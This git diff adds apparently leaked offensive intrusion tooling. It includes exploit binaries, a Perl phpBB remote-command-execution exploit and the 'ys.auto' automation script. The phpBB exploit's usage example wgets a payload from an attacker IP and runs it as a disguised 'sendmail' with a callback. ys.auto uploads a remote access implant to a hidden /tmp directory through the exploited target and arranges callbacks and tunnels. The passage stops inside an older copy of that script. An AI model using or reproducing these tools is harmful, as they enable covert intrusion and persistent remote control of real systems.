differ diff --git a/Linux/bin/xp-exim-3-v2 b/Linux/bin/xp-exim-3-v2 new file mode 100755 index 0000000..192ccbf Binary files /dev/null and b/Linux/bin/xp-exim-3-v2 differ diff --git a/Linux/bin/xp-exim-3-v3 b/Linux/bin/xp-exim-3-v3 new file mode 100755 index 0000000..20d429d Binary files /dev/null and b/Linux/bin/xp-exim-3-v3 differ diff --git a/Linux/bin/xp_ns-httpd b/Linux/bin/xp_ns-httpd new file mode 100755 index 0000000..7d44e65 Binary files /dev/null and b/Linux/bin/xp_ns-httpd differ diff --git a/Linux/bin/xp_phpbb.pl b/Linux/bin/xp_phpbb.pl new file mode 100755 index 0000000..05dda6c --- /dev/null +++ b/Linux/bin/xp_phpbb.pl @@ -0,0 +1,80 @@ +#!/usr/bin/perl + +use LWP; +use Getopt::Std; + +sub usage{ + print "usage: $0 -i -t -c + + -i + -t + -c + +Examples: +1) $0 -i http://127.0.0.1:80/forum/ -t1 -c\"uname -a;ls -la;w\" +2) $0 -i http://127.0.0.1:80/forum/ -t1 -c\"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://555.1.2.150:5555/sendmail -Osendmail;chmod +x sendmail;D=-c555.1.2.150:9999 PATH=. sendmail) 2>/dev/null\" +"; +} + +getopts('i:p:c:t:h'); + +if($opt_h){ + usage(); + exit; +} + +if(!$opt_i){ + print "Enter the URL and the directory where phpBB resides (ex. http://127.0.0.1/forum/): "; + $host=; + chomp $host; +} +else{ + $host=$opt_i; +} + +if(!$opt_t){ + print "Insert a valid topic number (viewtopic.php?t=[topic_number]): "; + $topic= ; + chomp $topic; +} +else{ + $topic= $opt_t; +} + +if(!$opt_c){ + print "Insert the command to execute on the target: "; + $cmd= ; + chomp $cmd; +} +else { + $cmd = $opt_c; +} + +@command=split(//,$cmd); +$url = $host . "viewtopic.php?t=". $topic . "&highlight=%2527%252esystem(chr("; +$url .= ord("$command[0]"); +for($indice=1;$indice<@command;$indice++) { + $url .= ")%252echr(" . ord("$command[$indice]"); +} +$url .= "))%252e%2527\n"; + +$ua = LWP::UserAgent->new; +$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"); + +# Create a request +print "Sending:\n$url\n\n"; + +my $req = HTTP::Request->new(GET => $url); +$req->content($content); + +# Pass request to the user agent and get a response back +my $res = $ua->request($req); + +# Check the outcome of the response +if ($res->is_success) { + $mycontent = $res->content; + print $mycontent; +} +else { + print STDERR $res->error_as_HTML; +} diff --git a/Linux/bin/xspy b/Linux/bin/xspy new file mode 100755 index 0000000..5b094c3 Binary files /dev/null and b/Linux/bin/xspy differ diff --git a/Linux/bin/xvkbd b/Linux/bin/xvkbd new file mode 100755 index 0000000..7efd997 Binary files /dev/null and b/Linux/bin/xvkbd differ diff --git a/Linux/bin/ys.auto b/Linux/bin/ys.auto new file mode 100755 index 0000000..f7e2ab7 --- /dev/null +++ b/Linux/bin/ys.auto @@ -0,0 +1,632 @@ +#!/bin/bash +PROG=`basename ${0}` +VER="1.4.3.3" +CALLBACKDELAY=3 +AUTOMODE="$TARGETIP" +[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +usagetext=" +Usage: $PROG -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-R IP Actual target IP when redirecting via 127.0.0.1 (in case IP + the -scan reported is wrong in -sploit mode) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: $CALLBACKDELAY seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use \"2>&1\" on target. Fouls up in some shells. +-U Do NOT pipe to uudecode, instead create a .uu file. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + \"ls -1 ./noserver* 2>/dev/null | grep -i \${ARCH} | tail -1\". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -n# and -p# can be the same, even in callback mode. $PROG provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close (if redirecting) before the NOPEN server calls back on the + same port. + +examples: + $PROG -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + $PROG -i 10.0.3.1 + $PROG -i TARGET_IP -l REDIRECTOR_IP +" +usagetextshort=$usagetext + +note() { + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} + +usage () +{ + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + echo -e "$usagetext" + notered NOTE: The only REQUIRED ARGUMENT is now -i + echo " +The best way to back out of $PROG once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +$PROG Version $VER" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # usage + +doit() { + CMDLINE="\nCommandLine: ${0} ${*}" + + if [ $# -lt 1 ] ; then + usage exit -h + fi + unset UUFILE ACTUALTARGET NEWACTUALTARGET + ERRREDIR="2>&1" + while getopts hl:n:r:D:x:zi:ucs:p:Pva:eUR: optvar ; do + case "$optvar" in + h|v) usage exit -$optvar ;; + i) REMOTE_IP=${OPTARG} ;; + l) CALLBACKIP=${OPTARG} ;; + c) CALLBACK=" callback";; + n) LOCAL_PORT=${OPTARG} ;; + r) RAT_NAME=${OPTARG} ;; + x) XPORT=${OPTARG} ;; + D) DIR=${OPTARG} ;; + U) UUFILE=yes ;; + u) NOUU=yes ;; + p) NOPENPORT="$OPTARG";; + s) CALLBACKDELAY="$OPTARG";; + e) ERRREDIR="";; + z) NOZIP=yes + PACKARGS="$PACKARGS -z" ;; + P) DOTSLASH="./";; + k) USEKSH=yes + # this is not working dammit + NOUU=yes;; + # In -a, ignore it if ARCH already defined by autoattack + a) [ "$ARCH" ] || ARCH="$OPTARG";; + R) NEWACTUALTARGET="$OPTARG";; + *) usage exit Invalid option $! ;; + esac + done + unset NOSERVER TRICKYTIMING + if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver* 2>/dev/null | grep -i ${ARCH} | tail -1` + fi + [ "$NOSERVER" ] || NOSERVER=/current/up/noserver + + [ "${DIR}" ] || DIR="/tmp/.scsi" + [ "${XPORT}" ] || XPORT=`mkrandom -n 10025 32222 2>/dev/null` + [ "${XPORT}" ] || XPORT=12121 + + if [ ! "$CALLBACKIP" ] ; then + if [ ! "`which grepip 2>/dev/null`" ] ; then + notered "\aMust have \"grepip\" in path or provide -l IP on command line" + exit + fi + for INT in ppp0 ppp1 eth0 eth1 ; do + ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1` + [ "$ADDR" ] && CALLBACKIP=$ADDR + [ "$CALLBACKIP" ] && break + done + while [ ! "$CALLBACKIP" ] ; do + echo -en "What is your local/redirector IP address? " + [ "$CALLBACKIP" ] && echo -en "[$CALLBACKIP] " + read ans + [ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \ + CALLBACKIP=$ans + CALLBACKIP=`echo $CALLBACKIP | grepip` + [ "$ans" ] && echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n" + done + INT=" ($INT)" + note "Using $CALLBACKIP$INT for -l local IP argument" + fi + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + [ "$NOPACKRAT" = "0" ] || usage exit "No packrat in your path" + + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + PACKRAT_SCRIPME=yes + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + unset ans MAKENEWPORT + if [ "$RANDOMLOCAL_PORT" ] ; then + $LOCAL_PORT=$RANDOMLOCAL_PORT + else + MAKENEWPORT=1 + fi + while [ "$MAKENEWPORT" ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + RANDOMORNOT=" a random" + RANDOMLOCAL_PORT=$LOCAL_PORT + [ ! "$LOCAL_PORT" ] && usage exit "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + [ "$ALREADYTHERE" ] || break + done + while [ ! -e $NOSERVER ] ; do + notered Put correct noserver into $NOSERVER and hit return or ^C to abort. + read ans + continue + done + if [ "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + usage exit "No packrat in your path$COLOR_NORMAL" + fi + fi + + if [ "`which grepip 2>/dev/null`" ] ; then + # Check IP arguments if we can + [ "$REMOTE_IP" ] && ORIGREMOTE_IP=" ($REMOTE_IP)" + [ "$CALLBACKIP" ] && ORIGCALLBACKIP=" ($CALLBACKIP)" + REMOTE_IP=`echo $REMOTE_IP | grepip` + CALLBACKIP=`echo $CALLBACKIP | grepip` + fi + + if [ "$CALLBACK" ] ; then + if [ "$LOCAL_PORT" = "$NOPENPORT" ] ; then + notered "Forcing delay (-s #) of at least 10 seconds since NOPEN callback" + notered "and Rat upload ports are the same ($LOCAL_PORT). You must be sure to ^C the" + notered "netcat window within 10 seconds after the upload completes." + [ $CALLBACKDELAY -lt 10 ] && CALLBACKDELAY=10 + TRICKYTIMING=yes + fi + fi + if [ "$LOCAL_PORT" = "$XPORT" ] ; then + usage exit "FATAL ERROR: -x port and -n port MUST NOT BE THE SAME.\n\nUNABLE TO CONTINUE." + fi + + [ "$REMOTE_IP" ] || usage exit "-i argument$ORIGREMOTE_IP is missing or not an IP" + [ "$CALLBACKIP" ] || usage exit "-l argument$ORIGCALLBACKIP is missing or not an IP" + [ "$UUFILE" ] || UUFILE=no + [ "$NOUU" ] && PACKARGS="$PACKARGS -u" + [ "$RAT_NAME" ] || RAT_NAME=sendmail + if [ ! "$NOPENPORT" ] ; then + NOPENPORT=`mkrandom -n 2>/dev/null` + if [ "$NOPENPORT" ] ; then + note "Using random NOPEN$CALLBACK port $NOPENPORT" + fi + fi + [ ! "$NOPENPORT" ] && usage exit "mkrandom not in path--needed to generate random port" + + ifconfig -a | grep $CALLBACKIP > /dev/null && ITSLOCAL=yes + if [ ! "$ITSLOCAL" ] ; then + REDIRECTOR="/redirector" + [ "$TARGETIP" ] && REDIRECTOR2=" $TARGETIP via $CALLBACKIP via " + fi + echo + note "########################################" + [ "$REDIRECTOR" ] || notered "Calling directly back to this box" + note "Local$REDIRECTOR IP = ${CALLBACKIP}$INT" + [ "$CALLBACK" ] && note "Using NOPEN Callback to $CALLBACKIP:$NOPENPORT" + [ "$CALLBACK" ] && notered " (after a DELAY of $CALLBACKDELAY seconds)" + [ "$NOSERVER" ] && note Uploading rat: $NOSERVER + [ "$CALLBACK" ] || note "Starting rat listener on port ${NOPENPORT}" + note "Remote IP =$REDIRECTOR2 ${REMOTE_IP}" + note "Rat uplaod port = ${LOCAL_PORT}" + note "Name of Rat = ${RAT_NAME}" + [ "$NOZIP" ] && note "Not using compress/uncompress" + [ "$NOZIP" ] || note "Using compress/uncompress" + note "Starting mini X server on port ${XPORT}" + note "Directory to create/use = ${DIR}" + #[ "$USEKSH" ] && note "Using ksh method to upload rat to Solaris target" + #[ "$USEKSH" ] || note "Using telnet method to upload rat" + note "########################################" + echo + + # show what we were called with + echo -e "$CMDLINE" + + note "Using$RANDOMORNOT port ($LOCAL_PORT) for local RAT upload listener (packrat)" + unset RANDOMORNOT + if [ "${REMOTE_IP:0:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $CALLBACKIP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + notered "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $CALLBACKIP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + notered -n "\nbort to ontinue DESPITE THIS PROBLEM!! [C]\a" + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + if [ "$AUTOMODE" ] ; then + # Anything specific to automated usage here + note In AUTO/-sploit mode + fi + + if [ "$AUTOMODE" ] ; then + if [ "$NEWACTUALTARGET" ] ; then + TARGETIP="$NEWACTUALTARGET" + fi + ACTUALTARGET=$TARGETIP + else + if [ "$NEWACTUALTARGET" ] ; then + notered "-R not usable except via -sploit" + exit 1 + fi + fi + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through ${CALLBACKIP}: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + note Redirecting via 127.0.0.1/$CALLBACKIP to $ACTUALTARGET + TEST=`netstat -an | grep "udp.*:$TUNNELPORT "` + while [ ! "$TEST" ] ; do + notered "No NOPEN -tunnel seen on udp/$TUNNELPORT\n\nSet one up on $CALLBACKIP with:\n\n" + note "\t-tunnel $TUNNELPORT udp\n\n${COLOR_FAILURE}and then hit return." + read ans + TEST=`netstat -an | grep "udp.*:$TUNNELPORT "` + done + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + # This will create /current/bin/*tunnel + [ -x "/current/etc/autosploit" ] && /current/etc/autosploit -T + + tunnelcmd u 177 $ACTUALTARGET + tunnelcmd r $LOCAL_PORT + tunnelcmd r $XPORT + tunnelcmd s + + fi + [ "$ACTUALTARGET" ] || ACTUALTARGET=$REMOTE_IP + + if [ "$PACKRAT_SCRIPME" ] ; then +# DISABLE this now...we want this to use new style netcat, where +# it breaks when local file is done. +# if [ -x /current/bin/nc.YS -a ! "$TRICKYTIMING" ] ; then +# PACKARGS="$PACKARGS -n /current/bin/nc.YS" +# fi + EXPLOIT_SCRIPME="packrat$PACKARGS $RAT_NAME $NOSERVER $LOCAL_PORT" + note "\nStarting local LISTENer to send noserver via port $LOCAL_PORT\n" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0" + fi + if [ "$REDIRECT" ] ; then + if [ "$CALLBACK" ] ; then + note "\n\nYou will need a NOPEN listener window on $CALLBACKIP:\n" + fi + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | egrep "nstun|noclient"` + PASTABLE=" +cd /current/down +${PASTABLE}" + + note "${PASTABLE}" + # echo "FIRST/-tunnel nopen window on $CALLBACKIP:" + # SECOND="SECOND " + # note "\n-tunnel\n\nu 177 $ACTUALTARGET\nr $LOCAL_PORT\nr $XPORT\n\ns\n" + if [ ! "$CALLBACK" ] ; then + notered -n "bort ontinue once NOPEN and packrat windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=-uc${CALLBACKIP}:${NOPENPORT}" + if [ "$REDIRECT" ] ; then + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + if [ "$ITSLOCAL" ] ; then + echo "${SECOND}remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + MORE="" + echo "${SECOND}remote nopen window on $CALLBACKIP:" + if [ "$TRICKYTIMING" ] ; then + note "The -lsh while loop will wait until the netcat is gone,\nthen start the NOPEN callback listener." + MORE="-lsh while [ 1 ] ; do ps -efwww | egrep -v \"scripme|perl|uX_local|defunct|grep\" | grep nc.*$NOPENPORT.*${RAT_NAME} > /dev/null || break ; sleep 1 ; done ; sleep 1 ; dotunnel c 2\n\n" + fi + note "${PASTABLE}\n\n${MORE}-nrtun $NOPENPORT\n\n" + if [ "$TRICKYTIMING" ] ; then + notered "BE SURE TO ^C THE NETCAT/PACKRAT BEFORE CALLBACK DELAY OF" + notered "10+ SECONDS IS UP (BUT AFTER UPLOAD COMPLETES).\n" + fi + unset MORE + fi + notered -n "bort ontinue once NOPEN windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + else + MORE="" + if [ "$TRICKYTIMING" ] ; then + MORE="\n(but not until the netcat is done with that same port)" + fi + note "\n\a${PROG} will establish a NOPEN listener on $CALLBACKIP:$NOPENPORT$MORE\nby execing:\n" + note "\ncd /current/down/\n/current/bin/noclient -l $NOPENPORT\n\n" +# notered -n "bort ontinue once NOPEN windows are ready [C] " +# read blah +# if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then +# notered "ABORTING!" +# exit +# fi + fi + else + RAT_PREARGS=" D=-ul${NOPENPORT}" + if [ "$REDIRECT" ] ; then + POSTRUN="${PASTABLE} + +-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN="noclient ${ACTUALTARGET}:${NOPENPORT}" + fi + fi + + # Now check what we can before continuing + echo "" + while [ 1 ] ; do + + [ "$CALLBACK" ] || OKNRTUN=okeydokey + [ "$REDIRECT" ] || OKUDP=okeydokey + [ "$REDIRECT" ] && OKUDP=`netstat -an | egrep "^udp.*0 (0.0.0.0|127.0.0.1):177 "` + [ "$CALLBACK" ] && OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"` + OKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"` + + [ "$OKUDP" ] || notered "No udp/177 seen locally in netstat" + if [ ! "$OKNRTUN" ] ; then + if [ "$REDIRECT" ] ; then + notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat" + else + OKNRTUN=okeydokey + fi + fi + if [ ! "$OKPACKRAT" ] ; then + if [ "$OKUDP" -a "$OKNRTUN" ] ; then + notered "waiting for packrat to start on port $LOCAL_PORT" + else + notered "No packrat seen locally on port $LOCAL_PORT in netstat" + fi + fi + [ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break + + [ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue + unset OKUDP OKNRTUN OKPACKRAT + notered "\a\n\nCANNOT PROCEED" + notered "\a\n\nFix this and either bort or etry. [R] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + done + unset OKUDP OKNRTUN OKPACKRAT + if [ "$CALLBACK" ] ; then + NOCLIENTCALL="cd /current/down\n../bin/noclient ${ACTUALTARGET}:$NOPENPORT" + [ "$REDIRECT" ] && NOCLIENTCALL="-nstun $ACTUALTARGET ${NOPENPORT}" + TAKENOTE="$TAKENOTE +======================================================== + +You did a NOPEN callback. Be sure to test a call FORWARD if you get on. +Something like (${COLOR_FAILURE}each on the right box${COLOR_NORMAL}): + +-listen $NOPENPORT + +$NOCLIENTCALL +" + fi + if [ "$POSTRUN" ] ; then + TAKENOTE="$TAKENOTE +======================================================== + +$POSTRUN +" + fi + + if [ "$TAKENOTE" ] ; then + TAKENOTE=" +======================================================== +======================================================== + NOTES/PASTABLES FOR LATER + +$TAKENOTE +======================================================== +======================================================== +" + fi + [ "$AFTERNOTE" ] && [ -e $AFTERNOTE ] && rm -f $AFTERNOTE + echo "$TAKENOTE" > /current/.afternote.$$ + export AFTERNOTE=/current/.afternote.$$ + + #note "\nStarting local mini-X server via scripme" + note "\nStarting exploit xc via scripme" + EXPLOIT_SCRIPME="xc -x $CALLBACKIP -y $XPORT -s $CALLBACKIP $REMOTE_IP 2>&1" + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t YS-xc-window -F -X \"-fg white -bg black -geometry 131x55\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t YS-xc.$ACTUALTARGET -F -X "-bg white -fg black -geometry 78x51+654+0" + + unset UNCOMPRESS + if [ ! "$NOZIP" ] ; then + UNCOMPRESS=" && uncompress -f ${RAT_NAME}.Z ${ERRREDIR} " + [ "$USEKSH" ] && UNCOMPRESS=".Z && uncompress -f ${RAT_NAME}.Z ${ERRREDIR} " + fi + + #old way: + #2>&1 &1 |uudecode 2>&1 > /dev/null 2>&1 + # /dev/null 2>&1 +if [ "$UUFILE" = "no" ] ; then + VENDOR_STR="\`TERM=vt100;export TERM;cd /tmp;mkdir -p ${DIR} && cd ${DIR} ; telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null ${ERRREDIR} $UNCOMPRESS && chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" +else + VENDOR_STR="\`TERM=vt100;export TERM;cd /tmp;mkdir -p ${DIR} && cd ${DIR} ; telnet ${CALLBACKIP} ${LOCAL_PORT} ${RAT_NAME}.uu ; uudecode ${RAT_NAME}.uu > /dev/null ${ERRREDIR} $UNCOMPRESS && chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" +fi +#20050708: Need TERM apparently? +# VENDOR_STR="\`cd /tmp;mkdir -p ${DIR} && cd ${DIR} ; telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null 2>&1 $UNCOMPRESS && chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" + #VENDOR_STR="\`mkdir ${DIR};cd ${DIR} && telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null 2>&1 && uncompress -f ${RAT_NAME}.Z && chmod 0700 ${RAT_NAME} && PATH=${DIR} ${RAT_NAME}\`" + #if [ "$USEKSH" ] ; then + # VENDOR_STR="\`cd /tmp;mkdir ${DIR} 2>&1 && cd ${DIR} 2>&1 ; /bin/ksh -c \"cat < /dev/tcp/${CALLBACKIP}/${LOCAL_PORT}> ${RAT_NAME}${UNCOMPRESS}\" ; chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" + #fi + + notered "\n\nNow running the following via:\n\n./uX_local -e '$VENDOR_STR' -v -p $XPORT -c xxx\n\n" + note "VENDOR_STR=\"$VENDOR_STR\"\n\n" + + notered "RUNNING (yet another) SCRIPME window with the uX_local line shown above." + EXPLOIT_SCRIPME="./uX_local -e '$VENDOR_STR' -v -p $XPORT -c xxx" scripme -t YS-uXlocal.$ACTUALTARGET -F -X "-bg white -fg black -geometry 78x51+76+0" + +} # end doit + + +[ "${*}" ] || usage exit -h +[ "${*}" = "-h" ] && usage exit -h +ATTEMPT=1 +while [ 1 ] ; do + if [ "$TARGETIP" -a "$ATTEMPT" = "1" ] ; then + echo -e "$usagetextshort" + # This is called by autoattack so allow changes + notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n" + notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n" + read ans + if [ "$ans" ] ; then + ARGS="$ans" + note Changing arguments to: $ARGS + else + note NOT changing arguments + fi + fi + if [ "$ARGS" ] ; then + OPTIND=1 + doit $ARGS + else + OPTIND=1 + ARGS="${*}" + doit ${*} + fi + +# note "\n\n$PROG attempt number $ATTEMPT is complete." + DATE=`date -u` + [ "$EXPLOIT_SCRIPME" ] && VIA=" via scripme popups" + note "\n\n$PROG attempt$VIA is complete at $DATE.\n\n" +# if [ "$CALLBACK" ] ; then + if [ "" ] ; then + notered "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + notered -n "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi +# note "\nIf it worked, hit return to exit.\n" +# notered -n "Do you want to try again? [N] " +# read ans +# [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + + # No retries anymore - too messy + break + # echo -e "$usagetext" + LASTARGS=$ARGS + note "\n\nYour last attempt tried the following arguments:\n\n" + note "$LASTARGS\n\n" + notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use. Enter \"DONE\" or ^C to quit." + read ans + [ "$ans" = "DONE" ] && break + if [ "$ans" ] ; then + ARGS="${ans}" + fi + ATTEMPT=`expr $ATTEMPT + 1` + +done + +if [ ! -z "$AUTOMODE" ] ; then + notered "\n\nYou MUST ${COLOR_NOTE}FIRST$COLOR_FAILURE ^C and then ^D in each of the netcat, +uX_local and xc scripme windows started earlier to be able to exit this window.\n\n" +else + note "`cat $AFTERNOTE`" + if [ ! "$CALLBACK" ] ; then + if [ ! "$REDIRECT" ] ; then + if [ "$ITSLOCAL" ] ; then + note "\n\nPastable to connect once it is running:\n\n noclient $REMOTE_IP:$NOPENPORT\n\n" + notered -n "xit, or ontinue with noclient connection? [C] " + read blah + if [ "${blah:0:1}" = 'e' -o "${blah:0:1}" = 'E' ] ; then + notered "Done" + exit + fi + exec noclient $REMOTE_IP:$NOPENPORT + fi + else + note "\n\nPastable to connect from $CALLBACKIP once it is running:\n\n -nstun $ACTUALTARGET:$NOPENPORT\n\n" + note "\n\nTo close tunnels in -tunnel $TUNNELPORT udp window:\n\n closetunnel\n" + fi + else + if [ ! "$REDIRECT" ] ; then + if [ "$TRICKYTIMING" ] ; then + note "\n$PROG will start the noclient listener once the netcat is done with that same port\n\n" + while [ 1 ] ; do + ps -efwww | egrep -v "scripme|perl|uX_local|defunct|grep" | grep -q nc.*$NOPENPORT.*${RAT_NAME} > /dev/null || break + sleep 1 + done + sleep 1 + else + note "\n$PROG will start the noclient listener now...^C to abort\n\n" + fi + cd /current/down + exec noclient -l $NOPENPORT + fi + fi +fi diff --git a/Linux/bin/ys.auto.old b/Linux/bin/ys.auto.old new file mode 100755 index 0000000..3345c86 --- /dev/null +++ b/Linux/bin/ys.auto.old @@ -0,0 +1,515 @@ +#!/bin/bash +PROG=`basename ${0}` +VER="1.3" +CALLBACKDELAY=3 +AUTOMODE="$TARGETIP" +[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +usagetext=" +Usage: $PROG + +-i IP IP of target machine (NO DEFAULT) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: $CALLBACKDELAY seconds) +-z Do NOT use uncomrpess at the either end +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + \"ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1\". + If not provided or no match, /current/up/noserver is assumed. + +examples: + $PROG -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D 